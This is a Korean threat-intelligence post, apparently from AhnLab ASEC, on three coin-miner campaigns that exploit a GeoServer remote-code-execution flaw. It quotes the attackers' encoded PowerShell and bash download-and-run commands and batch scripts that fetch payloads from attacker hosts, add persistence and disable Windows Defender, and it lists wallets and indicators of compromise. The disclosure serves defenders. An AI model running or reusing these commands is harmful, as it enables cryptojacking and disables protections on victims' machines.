

다양한 코인 마이너 공격 사례가 확인되고 있는 GeoServer

A asec.ahnlab.com/ko/91678

ATCP

December 21, 2025



AhnLab SSecurity intelligence Center(ASEC)은 과거 “GeoServer 취약점을 악용하는 코인 마이너 공격 사례” 블로그를 통해 공격자들이 취약점이 패치되지 않은 GeoServer를 공격해 코인 마이너와 NetCat을 설치한 공격 사례를 다루었다. [1] 취약한 GeoServer를 대상으로 한 공격 사례는 최근까지도 지속적으로 확인되고 있으며 모두 코인 마이너를 설치하는 것이 특징이다. 여기에서는 확인된 코인 마이너 설치 사례들을 다룬다.

1. GeoServer

GeoServer는 Java로 작성된 오픈소스 GIS(Geographic Information System) 서버로서 지리 공간 데이터 처리 기능을 지원하는 플랫폼이다. 2024년 인증되지 않은 사용자가 원격 코드를 실행할 수 있는 취약점 CVE-2024-36401가 공개되었으며 이후 다양한 공격자들이 이를 악용해 악성코드를 설치하고 있다.

2024년 9월 Fortinet사는 CVE-2024-36401 취약점을 악용해 GOREVERSE, SideWalk, Mirai, Condi, CoinMiner 등의 악성코드들을 유포하는 공격 사례들을 공개하였다. [2] 그리고 TrendMicro사에서 Earth Baxia 공격자의 공격 캠페인을 공개하였는데 대만의 지역 기관을 대상으로 스피어 피싱과 함께 CVE-2024-36401 취약점이 악용된 것으로 알려졌다. [3]

공격자들이 어떤 방식을 악용해 공격하였는지에 대한 구체적인 정황은 알 수 없지만 취약한 버전의 GeoServer가 설치된 환경이 공격 대상이기 때문에 알려진 취약점을 악용하였을 것으로 보인다.

2. 코인 마이너 공격 사례

2.1. Type A

Type A는 이전 블로그에서 소개한 것과 동일한 공격자로서 동일한 지갑 주소가 사용되고 있다. 공격자는 취약한 GeoServer를 공격해 다음과 같은 파워셸 명령을 실행하기도 하였으며 “bash.exe”를 악용해 Bash 스크립트를 실행하기도 하였다.

```
> powershell.exe -enc
SQBFAFGAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBIAEMABABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUWw
> bash -c {echo,Y3VybyCatZnNTTCBodHRwOi8vMjIwLjIwLjIwNy40OS9qcy9nbC50eHQgfHNoCg==}{base64,-d}{bash,-i}
```

XMRig 코인 마이너를 포함한 악성코드들은 다음과 같은 주소에 업로드되어 있으며 Batch 악성코드 “gw.txt” 또는 Bash 악성코드 “gl.txt”에 의해 다운로드되어 설치된다. 윈도우 및 리눅스 환경을 대상으로 코인 마이너를 설치 과정은 이전과 동일하며 사용되는 악성코드와 다운로드 주소만 변경되었다.

Directory Listing For /js/ - Up To /		
Filename	Size	Last Modified
config.json	2.3 kb	Sat, 26 Jul 2025 01:01:30 GMT
config.jsonl	2.2 kb	Wed, 08 Oct 2025 11:32:16 GMT
gl.txt	3.2 kb	Wed, 08 Oct 2025 11:31:18 GMT
gw.txt	1.4 kb	Sat, 26 Jul 2025 01:02:09 GMT
gw.txt.bak	3.6 kb	Wed, 08 Oct 2025 12:18:25 GMT
paste.txt	2.5 kb	Sat, 26 Jul 2025 01:02:49 GMT
s.rar	6262.4 kb	Sat, 26 Jul 2025 00:57:14 GMT
startup.sh	0.4 kb	Sat, 26 Jul 2025 01:02:28 GMT
x.rar	6858.2 kb	Sat, 26 Jul 2025 00:57:05 GMT
Apache Tomcat/5.0.28		

Figure 1. 악성코드가 업로드된 주소

- url - 1 : pool.supportxmr[.]com:443
- url - 2 : 104.243.43[.]115:443
- user : "47DsNc5pK8rYBQF4ev3mNBct3tkkHuUmxeqCSSbX3YuBhXweSB9XeQbcPMqEBaSJy4bGrPxbdMJkphrVQ5AmastoEMpSjcU"
- pass : "x"

참고로 동일한 공격자는 WegLogic 서버를 대상으로도 코인 마이너를 유포하고 있는데 외부에 노출된 불특정 다수의 시스템들을 스캐닝하면서 취약한 서비스가 확인되는 경우 코인 마이너를 설치하고 있는 것으로 보인다.

> powershell.exe -enc

SQBFAFgAIAAa0E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwE

Target Type	File Name	File Size	File Path ⓘ	
Current	 powershell.exe	467.5 KB	%SystemRoot%\system32\windowspowershell\v1.0\powershell.exe	
Parent	 cmd.exe	349 KB	%SystemRoot%\system32\cmd.exe	
ParentOfParentOfCurrent	 java.exe	183.95 KB	d:\weblogic\jdk1.7.0_10\bin\java.exe	
Process	Module	Target	Behavior	Data
 powershell.exe	N/A	N/A	Detected fileless attack	N/A
 java.exe	N/A	N/A	Connects to network	119.194.153.31:8080

Figure 2. WegLogic 서비스에 의해 실행된 코인 마이너 설치 명령

- url - 1 : pool.supportxmr[.]com:80
- user : "47KoSaQXtpZ2AypuUm6pBgfUjfuUuS1Fiy2jJRajdztpzGHrtLk3qPtQExCmd9PuRkBWPU4tDfoT7jXnYJPYEpDiF6qNuR7R"
- pass : "x"

2.2. Type B

또 다른 공격자는 certutil 명령으로 악성코드를 설치하였다. 최초 설치된 악성코드는 RAR SFX 포맷의 드로퍼로서 내부에 XMRig와 설정 정보를 가지고 있다.

Target Type	File Name	File Size	File Path ⓘ
Target	 jer[1].exe	6.29 MB	%SystemRoot%\serviceprofiles\networkservice\appdata\local\microsoft\windows\inetcache\ie\jer[1].exe
Current	 certutil.exe	1.6 MB	%SystemRoot%\system32\certutil.exe
Parent	 geoserver.exe	547.88 KB	%ProgramFiles%\geoserver\wrapper\geoserver.exe

Process	Module	Target	Behavior	Data
 certutil.exe	N/A	N/A	Downloads executable file	http://154.23.172.120/xmrigCCall/jer.exe  E014B7DA26A34F07C1D7F0D316D0BA3F

Figure 3. certutil을 이용한 악성코드 설치 행위

실행 시 “C:\Program Files\Java\jre1.9.2_251” 경로에 악성코드들을 설치하며 이후 “3.bat”을 실행한다. “3.bat”은 “bin” 폴더에 위치한 “javaws.exe” 즉 NSSM을 이용해 XMRig인 “java.exe”를 실행한다.

bbbaeb47873a4	이름	압축 크기	원본 크기	파일 종류	수정한 날짜
	jre				2025-02-16 오후 12:13:27
	3.bat	251	332	Windows 배치 ...	2025-02-16 오후 12:32:57
	java.exe	2,993,694	12,253,184	응용 프로그램	2025-02-16 오전 11:19:23
	WinRing0x64.sys	7,998	14,544	시스템 파일	2021-07-02 오후 12:58:30
; 下面的注释包含自解压脚本命令					
Path=C:\Program Files\Java\jre1.9.2_251					

d507c95ea965b5	이름	압축 크기	원본 크기	파일 종류	수정한 날짜
	jre				2025-02-16 오후 12:13:27
	3.bat	254	340	Windows 배치 파일	2025-12-06 오후 4:17:59
	hello.dat	4,712,396	8,480,256	DAT 파일	2025-12-06 오후 3:56:51
	javap.exe	1,476,307	4,177,356	응용 프로그램	2025-12-06 오후 4:05:07
	WinRing0x64.sys	7,998	14,544	시스템 파일	2021-07-02 오후 12:58:30
; 下面的注释包含自解压脚本命令					
Path=C:\Program Files\Java\jre1.9.2_251					
Setup=3.bat					

Figure 4. 드로퍼 악성코드의 내부 파일

참고로 XMRig는 공격자가 직접 제작한 형태로서 “config.json”과 같은 추가적인 설정 파일 대신 내부에 설정 데이터가 포함된 형태이다. “javap.exe”는 로더인데 동일 경로의 “hello.dat” 파일을 읽어와 복호화하여 메모리에서 실행하는데 복호화된 것은 앞의 유형과 동일하게 마이닝 풀 주소와 같은 설정 정보를 포함한 XMRig이다.

```

00687110 20 20 22 75 72 6C 22 3A 20 22 73 73 6C 2E 61 61 "url": "ssl.aa
00687120 61 61 61 61 61 61 2E 63 79 6F 75 3A 39 36 35 35 aaaaaa.cyou:9655
00687130 22 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 22 ",.
00687140 75 73 65 72 22 3A 20 22 34 35 50 58 36 51 53 34 user": "45PX6QS4
00687150 45 68 67 52 43 31 59 62 50 4E 50 52 7A 38 47 6D EhgRC1YbPNPRz8Gm
00687160 68 79 46 37 4E 34 57 56 78 51 73 73 5A 6E 68 68 hyF7N4WVxQssZnhh
00687170 63 37 78 6F 64 4B 4E 4E 72 51 69 45 71 78 7A 39 c7xodKNNrQiEqxz9
00687180 75 51 45 4D 44 36 65 38 69 73 6A 48 56 48 74 33 uQEMD6e8isjHVHt3
00687190 56 6B 39 4E 71 68 35 48 4D 52 67 6A 56 77 34 52 Vk9Nqh5HMRgjVw4R
006871A0 43 36 31 46 59 35 57 22 2C 0A 20 20 20 20 20 20 C61FY5W",.
006871B0 20 20 20 20 20 20 22 70 61 73 73 22 3A 20 22 78 "pass": "x
006871C0 31 39 39 39 22 2C 0A 20 20 20 20 20 20 20 20 20 1999",.
006871D0 20 20 20 22 72 69 67 2D 69 64 22 3A 20 6E 75 6C "rig-id": nul

```

Figure 5. XMRig에 포함된 설정 정보

- url – 1 : ssl.aaaaaaa[.]cyou:9655
- url – 2 : ssl.aaaaaaa[.]cyou:9654
- url – 3 : xmr.aaaaaaa[.]cyou:1110
- url – 4 : aaaaaaaa[.]cyou:443
- url – 5 : asia.aaaaaaa[.]cyou:1110
- url – 6 : us.aaaaaaa[.]cyou:1110
- url – 7 : eu.aaaaaaa[.]cyou:1110
- user : “45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W”
- pass – 1 : “x1999”
- pass – 2 : “x”

2.3. Type C

마지막 공격자는 코인 마이너 외에도 AnyDesk를 설치한 정황과 자체 제작한 다운로드가 함께 사용된 것이 특징이지만 현재 기준 다운로드가 불가하여 어떠한 페이로드를 다운로드하였을지는 알 수 없다.

공격자는 GeoServer를 통해 실행한 파워셸 명령으로 XMRig를 설치하는 기능을 담당하는 Batch 악성코드 "setupcache.bat"를 설치하였다. 참고로 "Setup_AnyDesk.bat"는 확보되지 않았지만 이름으로 추정했을 때 AnyDesk를 설치하는 Batch 스크립트로 추정된다.

"setupcache.bat"는 7z, NSSM 그리고 XMRig가 포함된 압축 파일 "caches.zip"을 다운로드하며 7z를 이용해 압축을 해제하고 NSSM을 이용해 XMRig를 서비스로 설치한다. 참고로 다양한 공격 사례들에서 적어도 5개의 다운로드 주소가 확인되었으며 압축 파일의 이름 또한 "caches.zip"뿐만 아니라 "cache.zip", "w3wp.zip", "iis.zip" 등이 사용되었다.

```
echo [*] Downloading caches advanced version of xmrig to "c:\users\public\caches.zip"
powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://www.combilkee.top:9002/caches.zip', 'c:\users\public\caches.zip')"
if errorlevel 1 (
    echo ERROR: Can't download caches
)

echo [*] Unpacking "c:\users\public\caches.zip" to "c:\users\public\caches"
powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('c:\users\public\caches.zip', 'c:\users\public\caches')"
if errorlevel 1 (
    echo [*] Downloading 7za.exe to "c:\users\public\7za.exe"
    powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://www.combilkee.top:9002/7za.exe', 'c:\users\public\7za.exe')"
    if errorlevel 1 (
        echo ERROR: Can't download 7za.exe to "c:\users\public\7za.exe"
    )
)
```

Figure 6. 다운로드 기능을 담당하는 Batch 악성코드

이외에도 자체 제작한 다운로드 악성코드 "systemd"를 설치하고 윈도우 디펜더 예외 경로 추가 및 비활성화를 시도하였다. 다운로드를 C&C 서버에서부터 페이로드를 다운로드해 메모리에서 실행하는 기능을 담당하지만 분석 시점 기준 다운로드가 불가능해 최종 악성코드에 대한 정보는 알 수 없다.

```
echo start download systemd to run
powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://www.startab.top:9002/systemd', 'c:\users\public\systemd.exe')"
if exist "c:\users\public\systemd.exe" (
    echo find systemd.exe
) else (
    curl http://www.startab.top:9002/systemd -o c:\users\public\systemd.exe
)

cd /d "c:\users\public\"
start "" /B systemd.exe
schtasks /create /tn COMSysApps /tr "c:\users\public\systemd.exe" /sc ONSTART /ru SYSTEM /F
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "COMSysApps" /t REG_SZ /d "c:\users\public\systemd.exe"
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\Users\Public"
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v dontdisplaylastusername /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisplayLastLogonInfo /t REG_DWORD /d 0 /f
```

Figure 7. 다운로드 설치 및 윈도우 디펜더 우회 루틴

- url - 1 : www[.]combilke[.]top:9200
- url - 2 : www[.]combilkee[.]top:9200
- url - 3 : www[.]cloudsecure[.]top:9200
- url - 4 : 154.89.152[.]204:9200
- url - 5 : 203.91.76[.]58:9200
- user : "49Qp2aEzUdEAND88muJEvDVKEzn9xbm5xEXjZ8QUeN1ndVxvtUuSjZAecFJHabrzyE2VXTu5sZM8H5GiKfKah1VJBwuWhYc"
- pass - 1 : "k2_7"
- pass - 2 : "k2_2"

```
v0 = InternetOpenA("Mozilla/5.0", 1u, 0LL, 0LL, 0);
```

Figure 8. 다운로더 악성코드

3. 결론

GeoServer의 원격 코드 실행 취약점(CVE-2024-36401)이 공개된 이후 최근까지도 해당 취약점을 악용해 악성코드를 설치하는 사례들이 확인되고 있다. 공격자는 윈도우와 리눅스 환경을 포함해 취약한 GeoServer가 설치된 환경을 공격 대상으로 하고 있으며 다양한 코인 마이너들을 설치하였다. 코인 마이너가 설치될 경우 시스템의 자원을 이용해 공격자의 모네로 코인을 채굴하게 되며, 공격자는 추후 함께 설치한 NetCat을 이용해 또 다른 악성코드를 설치하거나 시스템 내의 정보를 탈취하는 등 다양한 악성 행위를 수행할 수 있다.

MD5

04101ba4061732ed0716f554cb7d6539

05fe0e7e4e181ee77749f334e2d7b10f

1136efb1a46d1f2d508162387f30dc4d

21c5171fb746b93913efdaac328d91bd

2517826a165193105923233e13b418d4

추가 IoC는 ATIP에서 제공됩니다.

URL

http[:]//119[.]194[.]153[.]31[:]:8080/icon/js/config[.]json

http[:]//119[.]194[.]153[.]31[:]:8080/icon/js/[.]txt

http[:]//119[.]194[.]153[.]31[:]:8080/icon/js/p[.]sh

http[:]//119[.]194[.]153[.]31[:]:8080/icon/js/s[.]rar

http[:]//119[.]194[.]153[.]31[:]:8080/icon/js/solrd[.]exe

추가 IoC는 ATIP에서 제공됩니다.

FQDN

aaaaaaa[.]cyou

asia[.]aaaaaaa[.]cyou

eu[.]aaaaaaa[.]cyou

ssl[.]aaaaaaa[.]cyou

us[.]aaaaaaaa[.]cyou

추가 IoC는 ATIP에서 제공됩니다.

IP

104[.]243[.]43[.]115

154[.]89[.]152[.]204

185[.]208[.]156[.]197

203[.]91[.]76[.]58

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.

